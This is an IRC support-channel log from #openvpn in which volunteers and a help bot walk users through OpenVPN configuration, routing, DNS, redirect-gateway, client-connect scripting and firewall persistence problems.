12:59 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 245 seconds]
13:07 < Neozonz> root@db1:/# ip route
13:07 < Neozonz> 192.168.1.0/24 via 10.0.0.1 dev venet0
13:07 < Neozonz> sorry
13:07 < Neozonz> root@db1:/# ip route
13:07 < Neozonz> 192.168.1.0 via 192.168.0.1 dev venet0
13:08 < Neozonz> and I've created a vmbr2 with 192.168.0.1 on the openvpn
13:08 < Neozonz> but still no go
13:17 -!- bauderoo [~bauderoo_@31.171.134.123] has quit [Ping timeout: 256 seconds]
13:19 -!- monsbeat [~wallbroke@151.56.246.53] has left #openvpn []
13:20 -!- bauderoo [~bauderoo_@208.168.231.224] has joined #openvpn
13:26 <+pekster> I don't really understand how your VM technology is "routing" for you by faking a link-local "Internet." If routing doesn't work normally, you'd best consult your VM documentation
13:34 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:39 < share> is possible to connect a vpn to another without a VM?
13:42 < rob0> What does "connect" mean in this context? Maybe you are wondering about basic IP routing concepts? Why would a VM help?
13:47 -!- lorin1 [~lorin1@wsip-98-175-164-42.dc.dc.cox.net] has quit [Quit: Leaving.]
13:59 -!- HelenaKitty [~s98259@97e716f0.skybroadband.com] has joined #openvpn
13:59 < HelenaKitty> Where does OpenVPN store it's log?
13:59 <+pekster> !logfile
13:59 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
14:00 < HelenaKitty> oh
14:00 < HelenaKitty> syslog
14:00 < HelenaKitty> okies
14:01 < HelenaKitty> Sep 17 19:45:34 felicia ovpn-tun1[3606]: Options error: Unrecognized option or missing parameter(s) in /etc/openvpn/tun1.conf:3: ifconfig (2.3.2)
14:01 < HelenaKitty> Sep 17 19:45:34 felicia ovpn-tun1[3606]: Use --help for more information.
14:01 < HelenaKitty> And....... I'll show u my cnfig
14:01 < HelenaKitty> config
14:02 < HelenaKitty> Oh come on nopaste!
14:02 < HelenaKitty> Guys?
14:02 < Thermi> -> pastebin.ca
14:02 < HelenaKitty> Can I just paste it here?
14:02 < Thermi> NO
14:02 < HelenaKitty> nopaste command isn't working
14:02 < Thermi> http://sprunge.us/
14:02 < HelenaKitty> Thermi: that wont work in links
14:02 < Thermi> <command> | curl -F 'sprunge=<-' http://sprunge.us
14:02 < HelenaKitty> oh
14:02 < HelenaKitty> okies
14:03 < HelenaKitty> and just as I was about to do that...
14:03 < HelenaKitty> http://paste.debian.net/41950/
14:03 < HelenaKitty> I gets a link! :D
14:04 < rob0> why the newline between "ifconfig" and the IP addresses?
14:04 < Thermi> I think ifconfig and the IPs have to be in the same line
14:05 < HelenaKitty> okies
14:05 < HelenaKitty> still failing
14:05 < HelenaKitty> same error in syslog too
14:05 < HelenaKitty> ifconfig ip1 ip2
14:05 < HelenaKitty> ofc
14:06 < HelenaKitty> Oh wait...
14:06 < HelenaKitty> I found the issue
14:06 < HelenaKitty> Sep 17 20:05:03 felicia ovpn-tun1[3739]: Options error: --secret fails with '/etc/openvpn/static.key': No such file or directory
14:06 < HelenaKitty> WHAT THE BUGGER?!
14:07 < HelenaKitty> But it's there! I see it ls shows it THERE!
14:07 < Thermi> calm down. Does openvpn run as another user?
14:07 < dougy[work]> permissions are..?
14:07 < Thermi> Does that user have privileges to see the static.key file?
14:07 < HelenaKitty> Thermi: what? no
14:07 < HelenaKitty> yes
14:07 < Thermi> How are you starting openvpn?
14:08 < HelenaKitty> Thermi: daemon mode
14:08 < HelenaKitty> service mode
14:08 < Thermi> what distribution?
14:08 < HelenaKitty> Debian
14:08 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:08 < Thermi>  /etc/init.d/ foo?
14:08 < HelenaKitty> no
14:08 < Thermi> service foo?
14:08 < HelenaKitty> that's obsolete
14:08 < HelenaKitty> yes
14:08 < HelenaKitty> that
14:08 < Thermi> service openvpn start or something?
14:08 < HelenaKitty> yes
14:09 < Thermi> see the init file of it and see if it is set to run as another user
14:09 < Thermi> and see, if there's openvpn related file in /etc/default/
14:09 < HelenaKitty> okies
14:11 < HelenaKitty> There is nothing important in /etc/default/openvpn
14:13 < Thermi> does openvpn work, if you start it with openvpn <path to config> ?
14:13 < HelenaKitty> yes
14:13 < HelenaKitty> er...
14:14 < Thermi> Then openvpn is probably set to run as another user in the init script
14:14 < Thermi> it's probably "openvpn"
14:14 < Thermi> Do you have that user? Take a look at your /etc/passwd
14:14 < HelenaKitty> I attempted to start as root
14:14 < HelenaKitty> Options error: --secret fails with '/etc/openvpn/static.key': No such file or directory
14:14 < HelenaKitty> and...
14:15 < HelenaKitty> s98259@felicia ~ % ls /etc/openvpn
14:15 < HelenaKitty> secret.key  tun1.conf  update-resolv-conf
14:15 < Thermi> fix your names
14:15 < Thermi> secret.key =! static.key
14:15 < HelenaKitty> oh woops
14:15 < HelenaKitty> didn't see that haha
14:15 < HelenaKitty> thnx for pointing that out!
14:16 < HelenaKitty> works now
14:16 < HelenaKitty> :3
14:17 < HelenaKitty> What?!
14:17 < HelenaKitty> So...
14:17 < HelenaKitty> I did a traceroute
14:17 < HelenaKitty> to google.com and I never reach the VPN o.o
14:17 < HelenaKitty> I wanted my connection to be tunnelled through the VPN.
14:17 < Thermi> !redirect
14:18 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:18 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
14:18 < HelenaKitty> oh
14:18 < HelenaKitty> ...
14:18 < HelenaKitty> why u giving me a png file?
14:18 < Thermi> It's just what the bot tells you
14:18 < Thermi> read the whole text and use the manpage. :P
14:19 <+pekster> The flowchart is most helpful for determining the issue
14:19 -!- smw [~smw@unaffiliated/smw] has joined #openvpn
14:19 < HelenaKitty> !def1
14:19 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
14:23 < Neozonz> how does the lan of the open vpn server talk to the lan of the open vpn client?
14:23 < EugeneKay> !route
14:23 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:23 <@vpnHelper> behind the server or client
14:23 < Neozonz> !clientlan
14:23 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
14:23 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:24 < HelenaKitty> pekster: Why do I have to use iptables?
14:24 < HelenaKitty> I never had to use it before! o.o
14:24 < Neozonz> !serverlan
14:24 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:24 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:25 < Neozonz> !route_outside_openvpn
14:25 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
14:25 < Neozonz> !route
14:25 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:25 <@vpnHelper> behind the server or client
14:25 <+pekster> HelenaKitty: Technically you don't have to if you're not doing NAT (you can't do !redirect and use RFC1918 IP space without NAT.) However, you'd be highly foolish to run any router without proper firewalling
14:25 <+pekster> Knowing the basics of routing & firewalling on your target OS is effectively require to use OpenVPN
14:26 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
14:26 <@ecrist> heh, there are plenty of BGP edge routers that announce 1918 address spaces, we've learned
14:29 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
14:29 < smw> Is there any way to use the common name to set an ip address
14:29 < smw> for example, if the name matches "foo*", I want to put it in ip block 172.8.1.*
14:32 <+pekster> ecrist: Yup. Just in case you wanted to reach 10.20/16 (or whatever!)
14:33 <+pekster> The term 'bogon filtering' evidently elludes some folks
14:33 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:33 -!- mode/#openvpn [+v s7r] by ChanServ
14:33 <+pekster> smw: You mean assign the same IP (or one of your choice anyway) to a specific client? See:
14:34 <+pekster> !static
14:34 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
14:34 < smw> pekster, no, assign to a free ip in a block if the common name matches my glob
14:34 <+pekster> A --client-connect script might what you want then
14:35 < smw> pekster, I will look into that, can I assign ip addresses there?
14:35 <+pekster> You can script whatever logic you need and issue the proper `ifconfig-push ...` command to the temp file you can pass to $1
14:35 <+pekster> So yes, you can dynamically do anything you could from a ccd fiel
14:35 < HelenaKitty> Right so now I need to set up a DNS server on the VPN server
14:35  * HelenaKitty sighs
14:35 < smw> pekster, excellent. A bit of work... but I can deal with that
14:36 < Thermi> HelenaKitty: Nope. You can just push any DNS server on the open internet as you want
14:36 < HelenaKitty> Thermi: What?
14:36 <+pekster> Yea, openvpn can "manage it for you" but if you have special requirements, you get to "mangae it yourself." Just be sure your manual ranges don't collide with what openvpn hands out should you not push an explicit one
14:36 < smw> pekster, my goal is to separate sever type A from server type B while allowing access to server type C :-)
14:37 < HelenaKitty> This should've been simple
14:37 <+pekster> If it's on the same network be sure you're setting up firewall rules to match, but defined IPs in to ranges you can easily filewall sounds like a good way to go
14:37 < smw> pekster, is using predictable common names a good way to do this? Should I use the same common name for all of them?
14:37 < Thermi> HelenaKitty: I assumed you wanted to set up a DNS server on your VPN responder, because you assumed that the one you usually use isn't reachable from the VPN responder?
14:37 < smw> pekster, right now I am doing foo1, foo2, etc. Should I just call them all foo?
14:38 <+pekster> smw: Sure, if you want. If you have, say, class-b-server1 and class-a-server-2, you can glob on "server-b-*" or such. It's up to you to work out how you want to "define" the split
14:38 <+pekster> For all it matters you could assign an extra X509 field and key off of that, although this gets a bit more complex to script
14:38 < HelenaKitty> Thermi: I wanted to tunnel all my traffic through the VPN
14:38 -!- Devastatr [~devas@177.99.153.11] has joined #openvpn
14:38 < HelenaKitty> and it's getting hard
14:39 <+pekster> Lots of ways to work it out; use what works best for your environment. You could use the "OU" field of a DN too, for instance
14:39 < smw> pekster, that extra x509 sounds like an interesting idea but I am too lazy to figure that out now. Thanks.
14:39 < smw> pekster, at this point, I am still in shock I got client 1 talking to client 2 :-P
14:39 < smw> pekster, (without cheating and using client-to-client)
14:39 <+pekster> OU=class-a-systems,CN=server1  verses OU=class-b-systems,CN=server2
14:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
14:40 < HelenaKitty> pekster: I am asking for privacy as well as all my devices to be on a WAN
14:40 < smw> pekster, interesting idea
14:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:40 < HelenaKitty> I'm thinking about changing to PPTP
14:40 < HelenaKitty> something I know how to use
14:40 <+pekster> A broken protocol? heh
14:41 < dougy[work]> hah
14:41 < HelenaKitty> ...
14:41 < dougy[work]> winning
14:41 < dougy[work]> !pptp
14:41 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-
14:41 <@vpnHelper> security.phtml to read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
14:41 < HelenaKitty> What's broken about it?
14:41 < dougy[work]> HelenaKitty: see above
14:41 < HelenaKitty> cool
14:41 < HelenaKitty> right
14:41 < HelenaKitty>  okies
14:41 <+pekster> It's been known insecure for _over_ a decade (a la B Schennier) and last year Moxie et al cryptographically broke it wide open
14:41 < HelenaKitty> <censored>
14:42 < HelenaKitty> :/
14:42 <+pekster> This is how easy pptp cracking is now: https://www.cloudcracker.com/
14:42 <@vpnHelper> Title: CloudCracker :: Online Hash Cracker (at www.cloudcracker.com)
14:43 <+pekster> No skills needed: just pay the folks with the skills and you get back a decryption key for all the traffic ;)
14:43 < HelenaKitty> :/
14:43 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
14:43 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
14:43 <+pekster> !learn pptp as NB: cracking PPTP is easy: https://www.cloudcracker.com/
14:43 <@vpnHelper> Joo got it.
14:44 < HelenaKitty> No
14:44 < HelenaKitty> I don't want ot crack it!
14:44 < Thermi> But I want to!
14:44 < Thermi> :D
14:44 < HelenaKitty> then do it Thermi
14:44 < Thermi> I'm Eve. :p
14:44 < HelenaKitty> I think i need an idiot guide for this
14:47 < smw> pekster, could a client change/set its own ip address and cause chaos?
14:48 <+pekster> Not with tun, no (the openvpn server rejects it if it doesn't matched the assigned IP or have an explicit --iroute.) In tap, yes as it's transporting Ethernet frames, not IP
14:48 <+pekster> tap is effectively a "long Ethernet cable" and comes with all the dangers of L2 access to a LAN
14:48 < smw> pekster, yeah, that is why I am not bridging :-)
14:49 -!- Devastatr [~devas@177.99.153.11] has quit [Changing host]
14:49 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
14:49 -!- Devastatr is now known as Devastator
14:49 < smw> pekster, thanks
14:49 <+pekster> Yup, "you're protected" then (try it out if you'd like -- you'll see lots of 'bad source address dropped' or such notes in the server log
14:52 < smw> pekster, also, where can I learn what this PTPP ip is?
14:52 <+pekster> google? wikipedia?
14:52 < smw> pekster, it seems like there is one ip for the system, and one for the link between them
14:52 < Thermi> Point-to-point-protocoll
14:53 < Thermi> uses DES encryption. Very very broken.
14:53 < smw> I know what PTPP is
14:53 < smw> nm, not PTPP
14:53 < Thermi> sorry, read pptp
14:53 < smw> PTP
14:53 <+pekster> Ah, normally you write that as "PtP" or "Point-to-Point"
14:53 < smw> yeah, I messed up
14:53 <+pekster> Just a direct link between 2 systems
14:53 < smw> pekster, inet addr:172.12.0.10  P-t-P:172.12.0.9  Mask:255.255.255.255
14:53 <+pekster> Yea, see:
14:53 <+pekster> !/30
14:53 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
14:54 < smw> !topology
14:54 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
14:54 <+pekster> Unless you have a good reason, just use subnet topology and don't worry about it
14:54 < Aketzu> when that "topo subnet default in later versions" will happen?
14:55 <+pekster> Aketzu: Eventually, yes. The "worry" is that it'll break old configs, so we're stuck with outdated defaults
14:55 < smw> pekster, but what it the point to point addr exactly? What is it used for?
14:55 < Aketzu> :)
14:56 <+pekster> smw: https://lmddgtfy.net/?q=point%20to%20point%20networking
14:56 <@vpnHelper> Title: Let Me DuckDuckGo That For You (at lmddgtfy.net)
14:56 <+pekster> Try 30 seconds of web searching first
14:56 < smw> pekster, oh fine :-P
14:56 < smw> pekster, one last question before I go searching, that /30, can the system use any ip in that /30?
14:57 < smw> pekster, should I firewall the /30 or just a single address?
14:57 <+pekster> It'll source from the 1 IP it gets; the 2nd is a "fake, unused" peering IP used only to represent the "remote end"
14:58 < smw> pekster, so I only need to firewall the 1 IP
14:58 < smw> thanks :-)
14:59 -!- HelenaKitty [~s98259@97e716f0.skybroadband.com] has quit [Ping timeout: 245 seconds]
15:06 -!- bauderoo_ [~bauderoo_@31.171.134.75] has joined #openvpn
15:08 -!- bauderoo [~bauderoo_@208.168.231.224] has quit [Ping timeout: 264 seconds]
15:11 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:15 -!- HelenaKitty [~s98259@s1.helenabolan.me.uk] has joined #openvpn
15:22 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
15:26 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Write error: Connection reset by peer]
15:27 < smw> pekster, can I assign a block to issue IPs from in a ccd?
15:27 < smw> pekster, I don't want to assign static IPs
15:28 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:29 <+pekster> No, you can't do that in a ccd
15:29 < smw> damn :-
15:29 < smw> :-\
15:29 <+pekster> Assigning "dynamic IPs from a pool" is either handled by your script logic, or 2 VPN instances with their own defined pools
15:29 <+pekster> Well, from "multiple pools" anyway
15:30 < smw> 2 vpn instances, you mean 2 configs with two different ports?
15:30 <+pekster> Yup
15:30 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
15:30 < smw> yikes
15:30 -!- nosuid_v [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:32 -!- bauderoo_ [~bauderoo_@31.171.134.75] has quit [Ping timeout: 264 seconds]
15:32 -!- p3rror [~mezgani@41.248.145.120] has joined #openvpn
15:34 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:36 -!- bauderoo_ [~bauderoo_@31.171.134.37] has joined #openvpn
15:38 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
15:38 < Neozonz> Sep 17 16:37:47 ns4007547 ovpn-server[3508]: 144.76.116.118:1194 Re-using SSL/TLS context
15:38 < Neozonz> Sep 17 16:37:48 ns4007547 ovpn-server[3508]: read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)
15:38 < Neozonz> Sep 17 16:37:51 ns4007547 ovpn-server[3508]: read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)
15:38 < Neozonz> any idea why..........
15:38 < Neozonz> nm
15:38 < Neozonz> i opened tcp
15:38 < Neozonz> not udp
15:38 < Neozonz> firewall fail
15:39 < Neozonz> nm...
15:39 < Neozonz> udp is open
15:40 < smw> pekster, is there a way to get a list of all IPs in use?
15:41 < Aketzu> --status file
15:42 <+pekster> that or see SIGUSR2 under the 'SIGNALS' manpage reference
15:42 < smw> pekster, if I write my own ip assigner, I need to see what IPs are currently in use
15:43 -!- nosuid_v_v [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:43 < Aketzu> .. if you write your own assigner you know what you have assigned so far
15:44 < Aketzu> (+ add --client-disconnect "notification")
15:44 <+pekster> Right; smarter would be to keep track of it in a state file instead of screen-scraping the stauts output
15:44 < smw> pekster, right
15:45 -!- nosuid_v [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
15:45 < smw> pekster, so, I would need to use client-connect and client-disconnect. If I lost state, would restarting openvpn be the only way to resync?
15:46 <+pekster> "lost state" ??
15:46 < Aketzu> how would you lose state?
15:46 <+pekster> You plan to delete the files you're using to keep track of it?
15:46 < smw> pekster, sure, why not?
15:46 <+pekster> ..
15:47 < smw> pekster, I upgrade and I make a mistake
15:47 <+pekster> Then don't do stupid stuff: problem solved
15:47 < Aketzu> then what is preventing you from deleting vpn configs + certs :)
15:47 < smw> pekster, anything can happen
15:47 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
15:47 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:47 < Aketzu> btw, is script calling in openvpn multithreaded?
15:47 < smw> Aketzu, I won't do that, but I see no reason I wouldn't upgrade my pooling program and make a mistake
15:48 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
15:48 < Aketzu> .. backups
15:48 <+pekster> Then you'd better do what normal sysadmins/developers do and test it first in an environment you control more carefully
15:48 <+pekster> This is _way_ beyond the scope of openvpn
15:48 <+pekster> OpenVPN will not help you or design your external scripts/programs for you, nor will it attempt to debug logic errors in them
15:49 < smw> pekster, normal sysadmins/developers try to find ways to recover from errors with minimal downtime/interruption. So I need a way to list IPs in use so I can remake my DB
15:49 <+pekster> I have no idea what you're on about and quite frankly don't care anymore
15:49 < smw> pekster, anyways, thanks for the help
15:56 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
15:58 -!- nosuid_v_v [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
16:00 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
16:00 -!- bauderoo_ [~bauderoo_@31.171.134.37] has quit [Ping timeout: 256 seconds]
16:03 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 245 seconds]
16:05 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
16:13 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
16:30 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:30 -!- p3rror [~mezgani@41.248.145.120] has quit [Read error: Operation timed out]
16:35 -!- nosuid_b [~nosuid@unaffiliated/nosuid] has joined #openvpn
16:36 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
16:54 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Quit: No Ping reply in 90 seconds.]
16:54 -!- pfoo [~pfoo@2001:bc8:3079:1115::1] has joined #openvpn
16:54 -!- pfoo [~pfoo@2001:bc8:3079:1115::1] has quit [Changing host]
16:54 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
17:02 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
17:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Ping timeout: 264 seconds]
17:12 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 257 seconds]
17:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:15 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
17:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:23 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 260 seconds]
17:24 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
17:41 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
17:45 < klong-> hey there. tring to set up a routed client-to-site vpn, server is on a remote vps. using the same config that I copied from a working system and just made necessary modifications. Getting some strange errors in the server's log and wondering if this is a permissions thing, or possibe problem because of the underlying virtualization platform :
17:45 < klong-> Tue Sep 17 16:27:51 2013 us=188532 50.135.252.126:51259 /sbin/ip route del 10.20.65.0/24
17:45 < klong-> RTNETLINK answers: Operation not permitted
17:45 < klong-> Tue Sep 17 16:27:51 2013 us=191100 50.135.252.126:51259 ERROR: Linux route delete command failed: external program exited with error status: 2
17:45 < klong-> Tue Sep 17 16:27:51 2013 us=191188 50.135.252.126:51259 Closing TUN/TAP interface
17:46 < klong-> any help appreciated thank you
17:48 -!- altermann [~none@184.69.128.118] has quit [Quit: Leaving]
17:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:52 <+pekster> klong-: Perhaps you downgraded runtime permission? That's a route delete command, and if you use --user to change process uid it'll be unable to remove routes
17:52 <+pekster> This isn't generally a problem as the routes and IP will go down anyway when the interface is removed
17:52 -!- nosuid_b [~nosuid@unaffiliated/nosuid] has quit [Quit: ...]
17:53 < klong-> user nobody
17:53 < klong-> group nogroup - indeed i am.. hmm.. didn't have a problem on my ubuntu box but this is a centos vps
17:53 < klong-> i created the group nobody manually actually because openvpn wouldnt start because it did not exist
17:54 <+pekster> Won't be any different; 'nobody' does not (unless you have made some awfuly goofy customizations to unix capabilities) have permission to remote routes
17:54 <+pekster> Easy enough to demonstrate: `sudo -u nobody /sbin/ip route del default` and watch it fail
17:55 <+pekster> remove routes*
18:00 -!- mist__ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has joined #openvpn
18:00 < mist__> Hi, anyone awake at this ungodly hour?
18:01 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
18:01 < mist__> I'm trying to run a openvpnclient on my raspberry pi but it refuses to autostart
18:02 < mist__> alright solved it... lol =D
18:11 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: klong-]
18:15 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Read error: Operation timed out]
18:24 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:34 -!- HelenaKitty [~s98259@s1.helenabolan.me.uk] has quit [Read error: Connection reset by peer]
18:51 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
18:52 -!- adnap_ is now known as adnap
19:05 -!- helena1 [~helena@s1.helenabolan.me.uk] has joined #openvpn
19:06 < helena1> My VPN messed up again. How do I get iptables to route all VPN traffic? I have the redirect-gateway set up.
19:08 <+pekster> iptables is a frontend to the kernel's packet filtering system; by itself it doesn't route anything
19:09 <+pekster> Maybe you wanted:
19:09 <+pekster> !redirect
19:09 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:09 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
19:09 < helena1> pekster: Before I rebooted the server earlier...
19:09 -!- reModding [~reMod@pushdome.net] has quit [Ping timeout: 276 seconds]
19:09 < helena1> I was unable to connect to anything apart from VPN IPs
19:09 < helena1> so then I set up an iptables rule
19:09 < helena1> then I was able to ping Google
19:10 < helena1> now I rebooted the server to reboot into a new kernel and back to the beginning again
19:10 <+pekster> The netfilter state is not preserved across reboots; see your distro documentation for init-based systems to configure your firewall
19:11 < helena1> pekster: I have iptables-persistent installed and I even used iptables-save command before rebooting
19:12 < helena1> also that's the standard Debian way of saving iptable rules
19:12 <+pekster> iptables-save? No, taht'll just spew to stdout
19:12 < helena1> o.o
19:12 <+pekster> By itself it won't do anything useful beyond spit text to your terminal
19:12 <+pekster> Try the manpages, downstream support for the package you're using, or #netfilter
19:12 < helena1> it hasn't spit anything to my terminal pekster
19:12 <+pekster> iptables-save spits lots of text to the terminal
19:13 < helena1> it hasn't spit anything to my terminal pekster
19:13 <+pekster> Then you have no rules or modules loaded
19:13 < helena1> ...
19:13 <+pekster> !101
19:13 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
19:13 < helena1> according to iptables -L I do
19:13 < helena1> okies
19:13 <+pekster> If you do that it will dynamically load the filter table if it was not loaded
19:13 < helena1> okies
19:14 <+pekster> (_then_ iptables-save will spew the contents to stdout)
19:14 < helena1> :(
19:15 < helena1> sux to be me
19:15 -!- helena1 [~helena@s1.helenabolan.me.uk] has quit [Quit: WeeChat 0.3.8]
19:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:28 -!- smw [~smw@unaffiliated/smw] has quit [Remote host closed the connection]
